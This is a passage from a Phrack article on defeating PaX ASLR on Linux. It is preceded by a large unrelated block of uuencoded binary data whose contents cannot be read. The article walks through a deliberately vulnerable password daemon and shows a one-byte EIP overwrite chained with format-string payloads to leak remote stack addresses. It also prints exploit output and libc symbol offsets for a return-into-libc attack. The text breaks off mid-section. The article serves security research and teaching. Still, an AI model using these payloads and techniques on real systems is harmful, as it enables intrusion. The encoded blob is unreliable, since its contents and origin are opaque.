Q^XG$DR9C-LC5/[L3YP$XTZ(7.\QC,SD;,0OS2BCJ#*5@+8W97-76"ELA&MA
8SUL;`:?O>8O)TBU12LAPK8]X(F%&!JY&CUQOGKZXM'CE\TZ1'_FMIZ-FD?+
T[-V\CY<O7L76W;V'H<#28?JKS#07*3>27ZAOX)O;(KE0QU_".#1^Q/'="4F
^!S:P8$*'<QBL5I\">CR^5,4Z$DU`Y_!L?@*BG1P:8,!Z.W3LP*<.XF$_[@R
VK\S=R\.Z%7W>Y(T\Q`<#+N\<-+C0&SO?.9BSXP6D>/K$S(81[(A/5`U(W5X
VAZ-(KCK]SSCB+CS4^_1%D-Z_+F6AX&U4\$7XWB"UN#:)RCDAUN;<#MC%.8*
)'B=)5EJ/'Q(=DF]MLKA;41KDGKE0?W!@_I.F-0?5$RHLC,))ZUB_0'^0@P'
((+8$JW6G8IE2I#(3H(%*P+E`0*BD!0B:/52^%T+ET$=6U3#RN'$:]&AF%0>
T.WF085O.50`8Y4<!Z2I+YO#)F;B2<#W$#;B,$'\>(@'-.7+2[#ECM%$_QCR
<<#&)S8A2:4,^L?8,$YT'S:]VYZT.5%"#N9E0E*S#-9^N'02*L4)BR2/%^%:
`%3)0&7SOG4[;1MUO*@)<)K[L.GQH.ME\;X5E%YL0%#(II!!"$S@@(U_L;OW
S]T?]@^?[3[=AU3]F<GS:O=E*IO$9'+*"[K**3&9G`>O7CY^]H/*R!&9?`]?
__!R_\7SEZ]45AOGULVT/^@>`O713G#QN"^;`ZE%F\%]V'2F3VP._6GSL$()
I'+`CW]FXI_Y\:],_"O5MU<_'A[LO]A]N?OJ^4OJF(ZP^5#(!E+QQ\:AG#;$
X8^-V\,V[;GVL!(HQE'`E7UD$B3D2HBZ*):1H$TSSH$@S01=#\GB)O:0`C:>
[>%!/`<XGJ\[(G\^GR.R%!Z,!GWVVZ/%/Q,6[3P&ZJZ:T"5PU(_08C-B>D!J
B;G"+(7)61NN`/)4(D\$(7%#DPHYD4"T_:A_TI\`,?+\X/MZ@VB5'U]47_]2
M8]&KL_;%(0`])*'>YL8]T:>`F-ZX?=)L0"W/&"[*K<M32(],/5/.XX@S?4]N
MSTCT"]N9DQ/N920%Y=6(_KRP3+LWP::WKX"!UUUIZK9K:>>LFZ"-'.:!%KU\
M.\;KHE8[@$:'U1,ZT*V(!)]6A4:%E+,@Q^?N#ON1AX9__K40^B?+=^X3!\I9
M05>PKE>:3(B[=OZ-I#N];%YK_=%@V8-4(UB6?#0=C^+$2NH,VL?1@):!1!S#
M,=4YE<LWO_'@/6$2.^'D$5(KTQ$O5=9M@05)=D^6T\3*T8.2R)=4.,&"(>ZM
MI7R.Q_%YPD(GTA!O$UC!YB5Q$8#@R<G;>4SW"Z8]S#-A>,8*`RB7=AQ_B$SI
M95:FWT9^4?W!FW;UM]WJ?Q^^-8'5ZOVWY0?UOQV7D)#$_>J/^(J:J6I1;0R<
M1:DB[6S=K$A'4WVCUVF!A)M[X6RX1E999M(OK6N0R_]"P&1U^;N;^?FZ2/CW
ML''D<N+N+O(B=I&XD5U)^()"F8U]Y-8TW7$7&2=_0\-L&)'?<$D[<=1T:W`E
MZSEE+'?;Y_,@>K#BJ=90;3.\V*8%88R<$+864:)"/)U@MC?;0(>HWUJM]O9M
MH6)NQ_R`2N^DID2M/RS4\@WN5M&<[K;\NUTF)S7](4I`TO-T,NGVA_8EE(4U
M:<J]>(%XV!]J;TK<)?/H5WGS;OMM>9MD\%+EYA3:KI6QA+!8ML7:^!]2&53E
M]<P4@,$,O8<:%A[%ASXC!%P)'TSBT:'](EGJQ\]@?<!%@(_3Z;&Y`O99_4#<
M-AX51;XP_,4W8/P+"?^_J[]MK=3K%,#_R_5RL12V/BF5A9R"]7IK!7,OEG,1
M@"@TZ6>JB<I`"=J)J1ZO\!,SM32@3X$YKDKU=ZISK7I+=0_"Q?I'N'"1\'3X
M*[N]^`;U&:`,YN6>U<I7Y9H/9F4&@*0."36,HI64=EO.N@JN4X:MX*77%)[Y
MJ)B:E$Z[B*13\3'D']L27$'I/KB+C&E1&`9C[I_.6(.<M"PATO@6E9H8'R6'
MQ+0P/D:/4"2J!/==44/ZA7C7XG64N.T[AI_QH)`RV^V#DI>Q@_?]4?CH^4'8
M'>,;^2CJ4,(_MOT.^:73"CWIG.:C[A63S(Z-HW*26U-FS_CQ[I'7<D%)7DL0
M!()F8_3-0OW(&<[ICXTH\;M6K8Y(HB`=W@T+M5J]P#XUVIW3%&?'@UFSU<23
M1.,AET5AHSIM@`I`KYS0XG-BL%Y#+4`^M.P$&2T-G)K:"A]Q+'A0FT%`()2"
M1^MQ90Z7V:**V,OD4>,&`%6'B@H?P]E*TY"S]!6]X`E*^".U$^35;7KMWN]?
M1H/V!'4VT?NNG0&371J96T.0`][/[Y\#9C@O%$*`[7]1]?:__T"PMKZI523R
M_'=E]"BT'R]F]X<LK^SJ#80"(EVC4B(V!$;C"!^I4!T!2.(CIYV+%QA8NIZ,
MFK@O8?5:A#0UNSY:J1A#H.?&458"M/ZXGS"%#2WM;E,95#PK6SX@'!%7:G&X
M%[@R:J$Y80`B2IJ%60"(6G$K3PYM.66N]6=U!FB?^_HEA4#<*=*=TW#>Z4F$
:2:2H!'Q->*4A)-Q9#1US_MD*8*$^^AZ,^Y0LAS_TF:``\@!$?,VD[)00\\@
$\EC+Y=FL_="2XY55\1HAZ73#(+EW59\:Q$M8[#C)!X@];)L%6,!@5>3R25I
Y2;D>'I;%3$"_X5BK\"2L)E5C58'?5\%Z!]4#1)0P[VK'1S,*+2(7ZS02B,4
>[;['D)PV902`_8IC0%QD![:N=3Q`E]5./!@,9:HSX!Y$$_'G6@&4%M4`T\B
'X*CL-)`<N9D:^LO,2>]OIT.>=7GB]H1+Z6\EX\K)9R8Z6'T^8(B7=,Q=-4=
#:[G\R[GR&U+8:`'E6(JQO&TA=POVO/%,4#5;:#H'2F<I:`W-R(`.!#9YHA_
M8S5L`;C7!0;K>_>Q1<Z@LP^A`6*KU>2%Y49P+5X]'(5D!EVNKQI?_2#%#YVI
M%REFL7@,%>2WC-J)G"7X`SBHL!LB3SQ\R#][X4^[3U[OAX\*Z$8K(F,4E-!G
MK?W.:!2>M3OC6!Z1V%Y'ERYB7%(RDD"D'(B<E>3WV&8#'O;.$H!D'88%8_Z#
M:B1P!6(>)B0@V=UM$IVX+(J?2Q+B0AB4!#(-V'W8+.%WK5RLM!I+K36.W4/3
M`!1ZU"S!&BEQ<Z:BAE]8FI)5:6Q!P?ISMDJWQX,V*FL1.S>OM=3.Z8QVME8(
M-G_IIDZAJ=)(!ME:YWC;V*EI[&SFASQWW[(__FW8'_GX!J<Q?021X\"O(W9O
MR:\%R*_U];NWY-=?C/Q:WUS]5R6_0IHU:[;!GC*DBJ?%+8PA@U*&FF&L"7LD
M,+:&C(A"J(QKT7F%SRPDW,$R*17E-Y-/G:0D-B9<`AU82:G"TF3V.4?L7[%'
M3K$11)4X"U"GB,Y850+5_?55E<PA$:8QYHZ.Y"@MD?4LT=NJ&-L62-G$Z'F4
MS^:2RX*B,[N00M"VOUS.)6VX"AJ9#XML"X;3(1FWZ8;T2M:-.R3,QUXX4A(S
M*3-O,M!A:H#1O!*]O;5]D,0X0'%I;O&$=+C&$;O[Q4YA.S!NB)T[:[.AAA?3
M"=MR`<*/A`RA66KBC<Z%,1`E9K3((HU($SI#CC3O:@Y(G5U1E>$R>UV&%0=`
M5JLH@H6VHXE&3%;(NF*?#44-*9&)1QJ'ONA9`,:(>`=8'2@S`*+C!2?%$9GN
M*2FW(`!C#24?12J(9()0THCEC.[43^!^`)_%H[<5C#P)C"T@8P8(:#3:6$NY
M5.0R:LV$WRR_Y7^!5H/O%3AC6BN2@:S[\.-R=_=S:XU##S^W&AS:^]Q:Y]"C
SY634<!&@ZZH%6NC*K'&_(H:.16MZ8K(O%!@%9S$0`U.".L@(6,'UT/T(1K#
M36C2/^/E-([$U";RG72BV&0CM4'9JDG%\+9HR:!4).R:9U@*LN)G!36AT&8.
M+C8Q(H>F[9#DA"QGQAG,>22I4$,9Y07*X>Y>]='^]X^?[=.S<A2>QL,8EGTM
MF`[[OVK$]LD8EI)-IM?$=^E=%P@VQ8'"?Z;UDU)V:WZ7WIMN"ROH@1':TWMA
M'`%:PJTIEPC2X#.[D!"?:#RA\$?21D%3WC?119N-MEE;:/RZ?TB6M0X/GK]^
MN;>O!GP$@Z$N7L86%T""W4+3+1;^^`ZG3`B250J<$';5PXZ"Z!;3-RYWT@-@
M-Y>W<"G-KMO\FWZE7@[OA.5ZQ1Q.#]$=`(H=9$;=2!MSX]'H8B(F+%CZQ6!Q
M%)_!;O9\1"F'13SHLCP-%659&A:>@8[&X7)C=37$Z_Z*>#4O66'W",4;J`9S
MJW/ZPR14#?2/G;9:*:O`;."A$12R.%?(;G.1&8%)3IO/F`/02)([>0RW`7E_
MG7K&F_J]>J\_!]YV3EKJE)H`'2+JA]256LXNL1U@C8*E\&>T"&BF*^J2H%/J
M-)L(\2Y`<!_5K'<$?0M4&6#UH0163J-9WHKE6+9%41K:B2<\7UV&J'!A*`O#
M1S#5U;/30T(CN=7\C/['K9U%DF4ZB2;5">K,)1@XC:J]0?L$1>)=%7C>C',A
MB@C+S'3L-R%T%,#`,60)C,^_YDS$+.A[CH-G>$QZ6.U*S&=[T:W+XV=)[,SV
MBIA5JL7=>0B6UIFI-H.MJ7XO;S9/CI,/FV:6%0F;T)Z<M2LRL;FH2K#A7PA3
M\2EC$=57;6SIW5?M:X8Q>UN[]*_>U7P3R-_-E/8OM9G-X%]C+ZNQ_..WLFGO
M%3M9"*AY&UFRY.UC20JNDKG]%W^(S7M82+TK,-L"JEG(5!_"+<ABL(HB&2N=
M`,TR'L.O`DSOX?9I`]=A)DMZ-2[RF*(,HAK&L@<VUP99GB0`>:QUS&DT+]$Y
M;0]/HFX>4VAF1B,1H+A5MY)E_P*299H1^L729;<29G]M"3,E#2VXQCV_ZI=9
MBSR\="J;?:55",Q#83[NL\^U\]]K#0=XU7"`5^T#_.E9W`W_?I&RXYJV)UO,
ML4$;:`NIB+&L4?E8&4JM."/!B-63-(\R;;6?[)XC)1J?#ZTI=[+-0@J*W4P%
M9!X>+19,ID,X1-!".FJIP%)B>[%PXB?TXJ*-MYHC^WTT`IIY1);X?9.P29RV
MYA;+.P[9DX8FD!5Z4I>&Q0XM1GJ;K<P:0_BH$)ITVN,NJTB3>68R<$!FB!YA
M68OS4-$ZZO6PLQ_0UEUG$"?*@@&-9!*3OP1VX,#\;\BY/(Y6L`O,C\$791HH
M48O('OP_TUS$9_2DW.Z\=\-)'3_'BX/1JB![UM+:]@<82NH\L:65)>;B,#YD
M;5C"7=K5!MLA2*8=Y%[0VYM8>'"D?F@MQ?B+%W:B7]HHI>38B$`4\CI!NP85
M8C#=N5-Q;&1<\>1:B2RSG9)=:N*.D1N7AK"V"`837-1KM[1Q";$2+7/06.TE
M80;Y>"J"#Z$QNB#-G?WR@G(6_^_V[_;O]N_V[_;O]N_V[_;O]N_V[_;O]N_V
B[_;O]N_V[_;O]N_V[_;O]N_V[_;O7^3O_P-))_I>`)`!````
`
end
```

==Phrack Inc.==

Volume 0x0b, Issue 0x3b, Phile #0x09 of 0x12

```
|=------------------=[ Bypassing PaX ASLR protection ]=------------------=|
|=-----------------------------------------------------------------------=|
|=--------------=[ Tyler Durden <p59_09@author.phrack.org> ]=------------=|
```

-------[0. Introduction

[a] PaX, stands for PageEXec, is a linux kernel patch protection against buffer overflow attacks . It is younger than Openwall (PaX has been available for a year and a half now) and takes profit from the processor lowlevel paging mechanism in order to detect injected code execution . It also make return into libc exploits very hard to accomplish . This patch is very easy to use and can be downloaded on [1] , so as the tiny chpax tool used to configure PaX on a per file basis .

For accomplishing its task, PaX hooks two OS mechanisms :

- Refuse code execution on writable pages (PAX_PAGEEXEC option) .
- Randomize mmap()'ed library base address to make return into libc harder .

[b] Some years ago, Nergals came with his return into plt technique

(ELF specific) allowing him to bypass the mmap() protection (implemented in OpenWall [2] at this time) . The technique has been very well described in a recent paper [3] and wont be developped again in this article .

[c] In the last months, the PaX team released et_dyn.zip, showing us how to relink executable (ET_EXEC ELF objects) into ET_DYN objects, so that the main object base address would also be randomized, and Nergal's return-into-plt attack blocked .

Unfortunately, most people think it is a real pain to relink all sensible binaries . The PaX team decided to release a new version of the patch, accomplishing the same task without needing relinking .

Since this patch represents the latest improvement concerning buffer overflow protection, a new study was necessary . We will demonstrate that in certain conditions, it is still possible to exploit stack based buffer overflows protected by PaX with all options actived, including the new ET_EXEC binary base address randomizing .

We will show that we can reduce the problem to a standard return-into-libc exploitation . Heap overflows wont be developped, but it might also be possible to exploit them in an ASLR environment using a derived technique .

-------[1. What you ever wanted to know about PaX

If you dont care about PaX itself, please pass this paragraph and go read paragraph 2 now :)

[a] Paging basics

On INTEL Pentium processors, userland pages are 4Ko big . The design for 32 bits linear addresses (when pagination is enabled, which is mandatory if protected mode is enabled) is :

```
  ---------------------------------------
 |           |           |              |
  ---------------------------------------

   ^           ^               ^
   |           |               |_____ Page offset (12 bits)
   |           |
   |           |_____ Page table entry index (10 bits)
   |
   |_______ Page directory entry index (10 bits)
```

If no extra options (like PSE or PAE) are actived, the processor handle a 3 level paging, using 2 intermediary tables called the page directory and the page table .

On Linux, segmentation protection is not used by default (segment base address is 0 everywhere, and segment limit is FFFFF everywhere), it means that virtual address space and linear address space are the same . For extended information about the INTEL Pentium protected mode, please refers to the Documentation reference [4], paragraph 3.6.2 describes paging basics, including PDE and PTE explainations .

For instance, linear address 0804812C can be decomposed like :

08 + two high bits in the third nibble '0' : Page directory entry index
two low bits in the third nibble '0' + 48 : Page table entry index

```
12C (12 low bits)                           : Page offset
```

[b] PAGEEXEC option

There is a documentation on the PaX website [1] but as written on the webpage, it is quite outdated . I will try (thanks to the PaX team) to explain PaX mechanisms again and giving some details for our purpose :

First, PaX hook your page fault handler . This is an routine executed each time you have an access problem to a memory page . Linux pages are all 4Ko on the platform we are interrested in . This fault can be due to many reasons :

- Presence checking (not all 4Ko zone are mapped in memory at this moment, some pages may be swapped for instance and we want to unswap it)

- Supervisor check (the page has its supervisor bit set, only the kernel can access it, normal behavior is to send SIGSEGV)

- Access mode check : try to write and not allowed, try to read and not allowed, normal behaviour is send SIGSEGV .

- Other reasons described in [4] .

Since there is no dedicated bit on PDE (page directory entry) or PTE (page table entry) to control page execution, the PaX code has to emulate it, in order to detect inserted shellcode execution in the flow .

Every protected pages tables entries (PTE) are set to supervisor . Protected pages include everything (stack, heap, data pages) except the original executable code (executable PT_LOAD program header for each process object) .

Consequences are quite directs : each time we access one of these pages, the page fault handler is executed because the supervisor bit has been detected during the linear-to-physical address translation (so called page table walk) . PaX can control access to the page in its PF handling code .

What PaX can choose to do at this time :

- If it is a read/write access, consider it as normal if original page flags allows it and do not kill the task . For this to work, the PaX code has to temporary fill the corresponding PTE to a user one (remember that the page has been protected with the supervisor bit whereas it contains userland code), then do access on the page to fill the dtlb, and set the page as supervisor again . This will result in further data access to the page not beeing filtered by PF since it will use the dtlb cached value and not perform a page table walk again ;)

- If it is an execution access, kill the task and write the exploitation attempt in the logs .

[c] ASLR

=> Stack ASLR

```
bash$ export EGG="/bin/sh"
bash$ cat test.c
```

```
<++> DHagainstpax/test.c !187b540a

 #include <stdio.h>
 #include <stdlib.h>

 int     main(int argc, char **argv, char **envp)
 {
   char  *str;

   str = getenv("EGG");
   printf("str = %p (%s) , envp = %p, argv = %p, delta = %u \n",
          str, str, envp, argv, (u_int) str - (u_int) argv);
   return (0);
 }

<-->
```

```
 bash$ ./a.out
 str = 0xb7a2aece (/bin/sh) , envp = 0xb7a29bbc, argv = 0xb7a29bb4,
 delta = 4890
 bash$ ./a.out
 str = 0xb9734ece (/bin/sh) , envp = 0xb973474c, argv = 0xb9734744,
 delta = 1930
 bash$ ./a.out
 str = 0xba36cece (/bin/sh) , envp = 0xba36c73c, argv = 0xba36c734,
 delta = 1946
 bash$ chpax -v a.out
 a.out: PAGE_EXEC is enabled, trampolines are not emulated, mprotect() is
 restricted, mmap() base is randomized, ET_EXEC base is randomized
 bash$
```

After investigation, it seems like the stack address is randomized on the 28 low bits, but in 2 times, which explain why the EGG environment variable is always on the same page offset (ECE) . First, bits 12 to 27 get randomized, then environment is copied on the stack, finally the page offset (bits 0 to 11) is randomized using some %esp padding . Note that low 4 bits are always 0 because the kernel enforces 16 bytes alignement after the %esp pad . This is not a big vulnerability and you dont need it to manage ASLR exploitation, even if it might help in some cases . It may be corrected in the next PaX version however .

=> Libraries ASLR

```
 bash$ cat /proc/self/maps | grep libc
 409da000-40ae1000 r-xp 00000000 03:01 833281     /lib/libc-2.2.3.so
 40ae1000-40ae7000 rw-p 00106000 03:01 833281     /lib/libc-2.2.3.so
 bash$ cat /proc/self/maps | grep libc
 4e742000-4e849000 r-xp 00000000 03:01 833281     /lib/libc-2.2.3.so
 4e849000-4e84f000 rw-p 00106000 03:01 833281     /lib/libc-2.2.3.so
 bash$ cat /proc/self/maps | grep libc
 4b61b000-4b722000 r-xp 00000000 03:01 833281     /lib/libc-2.2.3.so
 4b722000-4b728000 rw-p 00106000 03:01 833281     /lib/libc-2.2.3.so
 bash$
```

Library base addresses get randomized on 16 bits (bits 12 to 27) . Page offset (low 12 bits) is not randomized, the high nibble is not randomized as well (always ’4’ to allow big library mapping, this nibble wont change unless a very big zone is mapped) . We already note that there’s no NUL bytes in the library addresses, the PaX team choosed to randomize address on 16 bits instead .

=> Executable PT_LOAD double mapping technique

In order to block classical return-into-plt exploits, we can use two mechanisms . The first one consists in automatically remapping the executable program header (containing the binary .plt) and set the old (original) mapping as non-executable using the PAGEXEC option .

For obscure reasons linked to crt*.o PIC code, vm_areas framing the remapped region have to share the same physical address than vm_areas framing the original region but that’s not important for the presented attack .

The data PT_LOAD program header is not moved because the remapped code may contains absolute references to it . This is a vulnerability because it makes .got accessible in rw mode . We could for instance poison the table using partial entry overwrite (overwriting only 1 or 2 bytes in the entry) but this wont be discussed in the paper since this attack is derived from [5] and would require similar conditions . Moreover, the remapping option is time consuming and we prefer using full relinking .

=> ET_EXEC to ET_DYN full relinking technique

Now it comes more tricky ;p Maybe you already noticed executable libraries in your tree . These objects are ET_DYN (shared) and contains a valid entry point and valid interpreter (.interp) section . libc.so is very good examples :

```
bash$ /lib/libc.so.6
GNU C Library stable release version 2.2.3, by Roland McGrath et al.
(...)
Report bugs using the ‘glibcbug’ script to <bugs@gnu.org>.
bash$

bash$ /usr/lib/libncurses.so
Segmentation fault
bash$
```

If we look closer at these libraries, we can see :

```
bash$ objdump -x /lib/libc.so.6 | grep INTERP
 INTERP off    0x001065f2 vaddr 0x001065f2 paddr 0x001065f2 align 2**0
bash$ objdump -x /usr/lib/libncurses.so | grep INTERP
bash$
```

A sample relinking package called et_dyn.zip can be obtained on the PaX website, it shows how to perform relinking for your own binaries . For this, you just have to request a PT_INTERP segment to be created (not the case by default except for libc) and have a valid entry point function (a main function is enough) .

This relinking will result in all zone (code and data program header) beeing mapped as shared libraries, with base address randomized using the standard PaX mmap() mechanism . This is the protection we are going to defeat .

[d] Last enforcements

PaX also prevents from mprotect() based attacks, when mprotect is used to regain execution rights on a shellcode inserted in the stack for instance . It matters because in case we are able to guess the mprotect() absolute address, we wont be able to abuse it .

Trampoline emulation is not explained because it doesnt matter for our purpose .

-------[2. ASLR weaknesses

[a] As we saw, page offset is 12 bits long . It means that a one byte EIP overflow is not risky because we know that the modified return address will still point in the same page, since the INTEL x86 architecture is little endian . Partial overflows have not been studied much, except for the alphanumeric shellcode purpose [6] and for fp overwriting [7] . Using this technique we can replay or bypass part of the original code .

What is more interresting for us is replaying code, in our case, replaying buffer overflows, so that we'll be able to control the process execution flow and replay vulnerable code as much as needed . We start thinking about some brute forcing mechanism but we want to avoid crashing the program .

[b] What we have to do against PaX ASLR is retreiving information about the process, more precisely about the process address space .

I'll ask you to have a look at this sample vulnerable code before saying the whole technique :

```
<++> DHagainstpax/pax_daemon.c !d75c8383

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define         NL              '\n'
#define         CR              '\r'
#define         OKAY_PASS       "evil"
#define         FATAL(str)      { perror(str); exit(-1); }

int             verify(char *pass);
int             do_auth();

char            pass[48];
int             len;


int     main(int argc, char **argv)
{
  return (do_auth());
}


/* Non-buggy passwd based authentication */
int             do_auth()
{
  printf("Password: ");
  fflush(stdout);
  len = read(0, pass, sizeof(pass) - 1);
  if (len <= 0)
    FATAL("read");
  pass[len] = 0;
  if (!verify(pass))
    {
      printf("Access granted .\n");
      return (0);
    }

  printf("You loose !");
  fflush(stdout);
  return (-1);
}


/* Buggy password check (stack based overflow) */
int             verify(char *pass)
{
  char          filtered_pass[32];
  int           i;

  bzero(filtered_pass, sizeof(filtered_pass));

  /* this protocol is a pain in the ass */
  for (i = 0; pass[i] && pass[i] != NL && pass[i] != CR; i++)
    filtered_pass[i] = pass[i];

  if (!strcmp(filtered_pass, OKAY_PASS))
    return (0);

  return (-1);
}

<-->
```

This is a tiny password based authentication daemon, running throught inetd or at the command line . For inetd use, here is the line to add in inetd.conf :

```
666 stream tcp nowait root /usr/sbin/tcpd \
/home/anonymous/DHagainstpax/paxtestd
```

Just replace the command line with your own path for the daemon, inform inetd about it, and verify that it works well :

```
bash$ pidof inetd
99
bash$ kill -HUP 99
bash$ netstat -a -n | grep 666
tcp        0      0 0.0.0.0:666             0.0.0.0:*          LISTEN
bash$
```

This is a quite dumb code printing a password prompt, waiting for an input, and comparing it with the valid password, filtering CR and NL caracters .

```
bash$ ./paxtestd
Password: toto
You loose !
bash$ ./paxtestd
Password: evil
Access granted .
bash$
```

For bored people who think that this code cant be found in the wild, I would just argue that this work is proof of concept . Exploitation conditions are generalized in paragraph 4 .

We can easily idenfify a stack based buffer overflow vulnerability in this daemon, since the filtered_pass[] buffer is filled with the pass[] buffer, the copy beeing filtered in a 'for' loop with a missing size checking condition .

[b] What can we do to exploit this vulnerability in a PaX full random address space protected environment ? If we look closed, here is what we can see :

```
(...)
 printf("Password: ");
 fflush(stdout);
 len = read(0, pass, sizeof(pass) - 1);
 if (len <= 0)
   FATAL("read");
 pass[len] = 0;
 if (!verify(pass))
```

```
   {
(...)
```

The assembler dump (slighly modified to match symbol names cause objdump symbol matching sucks :) for do_auth() looks like that :

```
804858c:       55                      push   %ebp
804858d:       89 e5                   mov    %esp,%ebp
804858f:       83 ec 08                sub    $0x8,%esp
8048592:       83 c4 f4                add    $0xfffffff4,%esp
8048595:       68 bc 86 04 08          push   $0x80486bc
804859a:       e8 5d fe ff ff          call   80483fc          <printf>
804859f:       83 c4 f4                add    $0xfffffff4,%esp
80485a2:       ff 35 00 98 04 08       pushl  0x8049800
80485a8:       e8 1f fe ff ff          call   80483cc          <fflush>
80485ad:       83 c4 20                add    $0x20,%esp
80485b0:       83 c4 fc                add    $0xfffffffc,%esp
80485b3:       6a 2f                   push   $0x2f
80485b5:       68 20 98 04 08          push   $0x8049820
80485ba:       6a 00                   push   $0x0
80485bc:       e8 6b fe ff ff          call   804842c          <read>
80485c1:       89 c2                   mov    %eax,%edx
80485c3:       89 15 50 98 04 08       mov    %edx,0x8049850
80485c9:       83 c4 10                add    $0x10,%esp
80485cc:       85 d2                   test   %edx,%edx
80485ce:       7f 17                   jg     80485e7      ; if (len <= 0)
80485d0:       83 c4 f4                add    $0xfffffff4,%esp
80485d3:       68 c7 86 04 08          push   $0x80486c7
80485d8:       e8 df fd ff ff          call   80483bc          <perror>
80485dd:       83 c4 f4                add    $0xfffffff4,%esp
80485e0:       6a ff                   push   $0xffffffff
80485e2:       e8 35 fe ff ff          call   804841c          <exit>
80485e7:       b8 20 98 04 08          mov    $0x8049820,%eax
80485ec:       c6 04 02 00             movb   $0x0,(%edx,%eax,1)
80485f0:       83 c4 f4                add    $0xfffffff4,%esp
80485f3:       50                      push   %eax
80485f4:       e8 27 ff ff ff          call   8048520          <verify>
80485f9:       83 c4 10                add    $0x10,%esp
```

More precisely:

```
(...)
8048595:       68 bc 86 04 08          push   $0x80486bc
804859a:       e8 5d fe ff ff          call   80483fc          <printf>
(...)
80485f4:       e8 27 ff ff ff          call   8048520          <verify>
80485f9:       83 c4 10                add    $0x10,%esp
```

The 'call printf' and 'call verify' are cleary on the same page, we know this because the 20 high bits of their respective linear address are the same . It means that we are able to return on this instruction using a one (or two) byte(s) eip overflow . If we think about the stack state, we can see that printf() will be called with parameters already present on the stack, i.e. the verify() parameters. If we control the first parameter of this function, we can supply a random format string to the printf function and generate a format bug, then call the vulnerable function again, this way we hope resuming the problem to a standard return into libc exploit, examining the remote process address space, more precisely the remote stack, in particular return addresses.

Lets prepare a 37 byte long buffer (32 bytes buffer, 4 byte frame pointer, and one low EIP byte) for the password input :

```
"%001$08u                            \x9a"
"%002$08u                            \x9a"
"%003$08u                            \x9a"
"%iii$08u                            \x9a"
```

These format strings will display the 'i'th unsigned integer from the remote stack . Using this we can retreive interresting values using leak.c given at the end if this paper .

For those who are not that familiar with format bugs, this will read the i'th pushed parameter on the stack (iii$) and print it as an unsigned integer (%u) on eight characters (8), padding with '0' char if needed . Format strings are deeply explained in the printf(3) manpage .

Note that the 37th byte \x9a is the low byte in the 'call printf' linear address . Since the caller is responsible for parameters popping, they are still present on the stack when the verify function returns ('ret') and when the new return address is pushed by the 'call printf' so that the stack pointer is well synchronized .

```
bash-2.05$ ./runit
[RECEIVED FROM SERVER] *Password: *
Connected! Press ^C to launch : Starting remote stack retreiving ...

Remote stack :
00000000 08049820 0000002F 00000001
472ED57C 4728BE10 B9BDB84C 4727464F
080486B0 B9BDB8B4 472C6138 473A2A58
47281A90 B9BDB868 B9BDB888 472B42EB
00000001 B9BDB8B4 B9BDB8BC 0804868C

bash-2.05$
```

In this first example we read 80 bytes on the stack, reading 4 bytes per 4 bytes, replaying 20 times the overflow and provoking 20 times a format bug, each time incrementing the 'iii' counter in the format string (see below) .

As soon as we know enough information to perform a return into libc as described in [3], we can stop generating format bugs in loop and fully erase eip (and the parameters standing after eip on the stack) and perform standard return-into-libc exploitation . We can also choose to exploit the program using the generated format bugs as described it [8] .

-------[3. Understanding the exploitation step by step

The goal is to guess libc addresses so that we can perform a standard return into libc exploitation . For that we will use relative offsets from the retaddr we can read on the stack . This paragraph has been done to help you in your first ASLR exploitation .

[a] Let's understand better the execution flow using a debugger. This is what we can see in the gdb debugging session for the vulnerable daemon, at this moment waiting for its first input :

* WITHOUT ET_EXEC base address randomization

```
 (gdb) bt
 #0  0x400dff14 in __libc_read () at __libc_read:-1
 #1  0x4012ca58 in __DTOR_END__ () from /lib/libc.so.6
 #2  0x0804864f in main (argc=1, argv=0xbffffd54) at pax_daemon.c:26
 #3  0x4003e2eb in __libc_start_main (main=0x8048634 <main>, argc=1,
                 ubp_av=0xbffffd54, init=0x8048374 <_init>,
                 fini=0x804868c <_fini>, rtld_fini=0x4000c130 <_dl_fini>,
                 stack_end=0xbffffd4c) at ../sysdeps/generic/libc-start.c:129
(gdb)
```

* WITH ET_EXEC base address randomization

```
(gdb) bt
#0  0x4365ef14 in __libc_read () at __libc_read:-1
#1  0x436aba58 in __DTOR_END__ () from /lib/libc.so.6
#2  0x4357d64f in ?? ()
#3  0x435bd2eb in __libc_start_main (main=0x8048634 <main>, argc=1,
              ubp_av=0xb5c36cf4, init=0x8048374 <_init>,
              fini=0x804868c <_fini>, rtld_fini=0x4358b130 <_dl_fini>,
              stack_end=0xb5c36cec) at ../sysdeps/generic/libc-start.c:129
(gdb)
```

As you can see, the symbol table is not synchronized anymore with the memory dump so that we cant rely on the resolved names to debug . Note that we will dispose of a correct symbol table in case the ET_EXEC binary object has been relinked into a ET_DYN one, has explained in paragraph 1, part c .

[b] Using the exploit, here is what we can see if we examine the stack with or without the ET_EXEC rand option :

```
bash$ ./runit
[RECEIVED FROM SERVER] *Password: *
Connected! Press ^C to launch : Starting remote stack retreiving ...

Remote stack (with ET_EXEC rand enabled) :
00000000 08049820 0000002F 00000001
482D157C 4826FE10 BDDB44DC 4825864F
080486B0 BDDB4544 482AA138 48386A58
48265A90 BDDB44F8 BDDB4518 482982EB
00000001 BDDB4544 BDDB454C 0804868C
```

If we disable the ET_EXEC rand option, here is what we see :

```
bash$ ./runit

(...)

Remote stack (with ET_EXEC rand disabled) :
00000000 08049820 0000002F 00000001
4007757C 40015E10 BFFFFCEC 0804864F
080486B0 BFFFFD54 40050138 4012CA58
4000BA90 BFFFFD08 BFFFFD28 4003E2EB
00000001 BFFFFD54 BFFFFD5C 0804868C
```

As we want to do a return into libc, address pointing in the libc are the most interresting . What we are looking for is the main() return address pointing in the remapped instance of the __libc_start_main function, in the .text section in the libc's address space .

Here is how to interpret the stack dump :

```
00000000 (...)
08049820
0000002F
00000001
435F657C
43594E10
B5C36C8C do_auth frame pointer
4357D64F do_auth() return address
080486B0 do_auth parameter ('pass' ptr)
B5C36CF4
435CF138
436ABA58
4358AA90
```

```
B5C36CA8
B5C36CC8 main() frame pointer
435BD2EB main() return address
00000001 argc
B5C36CF4 argv
B5C36CFC envp
0804868C (...)
```

[c] Now let's look at the libc binary to know the relative address for functions we are interrested in . For that we'll use the regex option in ELFsh [9] :

```
bash-2.05$ elfsh -f /lib/libc.so.6 -sym ' strcpy '\|' exit '\|' \
setreuid '\|' system '

[SYMBOL TABLE]
[4425]    0x750d0     strcpy    type: Function  size: 00032 bytes  => .text
[4855]    0x48870     system    type: Function  size: 00730 bytes  => .text
[5670]    0xc59b0   setreuid    type: Function  size: 00188 bytes  => .text
[6126]    0x2efe0       exit    type: Function  size: 00248 bytes  => .text

bash$ elfsh -f /lib/libc.so.6 -sym __libc_start_main

[SYMBOL TABLE]
